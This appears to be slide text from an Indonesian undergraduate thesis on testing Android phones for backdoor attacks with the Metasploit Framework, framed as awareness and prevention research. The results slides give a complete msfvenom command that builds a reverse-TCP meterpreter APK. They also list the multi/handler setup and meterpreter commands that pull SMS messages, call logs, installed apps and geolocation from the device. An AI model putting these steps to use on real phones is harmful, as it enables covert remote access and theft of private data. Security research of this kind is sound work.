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Pendahuluan
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Pertumbuhan sistem operasi Android yang pesat menjadikannya
sebagai target utama berbagai ancaman siber, terutama karena
sifatnya yang terbuka dan banyak digunakan di Indonesia. Laporan
dari Symantec dan Badan Siber dan Sandi Negara (BSSN) 
menunjukkan bahwa Indonesia berada di peringkat tinggi dalam
jumlah serangan siber, termasuk penggunaan teknik backdoor.

. Backdoor merupakan metode peretasan yang memungkinkan
akses ke sistem tanpa autentikasi, biasanya melalui aplikasi yang 
telah dimodifikasi. Salah satu framework yang sering digunakan
untuk tujuan ini adalah Metasploit Framework, alat penetrasi yang 
memungkinkan pembuatan dan penyisipan payload ke dalam
perangkat target.



Pertanyaan Penelitian (Rumusan Masalah)
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Berdasarkan uraian latar belakang di atas, terbentuk rumusan masalah yang dikaji 

dalam penelitian ini sebagai berikut :

1. Bagaimana proses melakukan pengujian terhadap sebuah perangkat berbasis android 

jika keamanan sistem tersebut rentan terkena serangan backdoor.

2. Bagaimana cara mengamankan dan mengantisipasi serangan dari peretas yang 

menggunakan metode backdoor pada perangkat berbasis android

3. Bagaimana cara mengamankan dan mengantisipasi serangan dari peretas yang 

menggunakan metode backdoor pada perangkat berbasis android



Metode
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Penelitian ini dilakukan secara eksperimental di Laboratorium
Informatika Universitas Muhammadiyah Sidoarjo. Penelitian
terdiri dari beberapa tahapan: persiapan, pelaksanaan, 
pengujian, analisis, dan penarikan kesimpulan.



Hasil Dan Pembahasan
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Msfvenom merupakan bagian dari metasploit framework yang digunakan untuk membuat payload dalam
format file APK dengan menggunakan perintah msfvenom -p android/meterpreter/reverse_tcp LHOST=
172.20.10.3 LPORT=4444-o tess.apk



Hasil Dan Pembahasan
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MainActivity merupakan hasil dari msfvenom yang telah di dipindahkan serta berhasil diinstall
pada android



Hasil Dan Pembahasan
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Msfconsole merupakan console yang digunakan untuk menjalankan payload yang telah terinstall. Msfconsole dapat
digunakan menggunakan perintah use multi/handler dan berikut dan berikut merupakan contoh konfigurasi yang 
berhasil



Hasil Dan Pembahasan
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Sysinfo merupakan perintah yang digunakan untuk mengetahui informasi dasar dari sistem perangkat 
yang telah terhubung. Seperti versi OS hingga arsitektur CPU



Hasil Dan Pembahasan
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dump_sms merupakan perintah yang digunakan untuk mengekstrak seluruh isi pesan singkat (SMS) dari 
perangkat target



Hasil Dan Pembahasan

10

dump_callog adalah perintah untuk mengekstrak data riwayat panggilan dari perangkat target. Dan pada 

gambar ini adalah contoh yang berhasil



Hasil Dan Pembahasan
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app_list merupakan perintah untuk menampilkan seluruh aplikasi yang terinstall pada perangkat target. 
Dan pada gambar ini adalah output dari perintah tersebut.



Hasil Dan Pembahasan
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geolocate merupakan perintah yang digunakan untuk mendapatkan informasi posisi geografis perangkat 

target. Dan pada gambar ini merupakan output dari perintah tersebut.



Temuan Penting Penelitian
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Dalam penelitian ini bahwa eksploitasi data tetap dapat terjadi jika user tidak
meningkatkan kesadarannya sendiri akan pentingnya privasi dan walaupun telah
menggunakan android dengan versi terbaru.



Manfaat Penelitian
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Penelitian skripsi ini diharapkan dapat memberikan manfaat sebagai

Refrensi metode untuk pencegahan exploitasi data khususnya pada perangkat android.

Dan juga sebagai evaluasi untuk pengguna android kedepannya agar lebih memperhatikan dan 

menjaga hak akses pada perangkatnya
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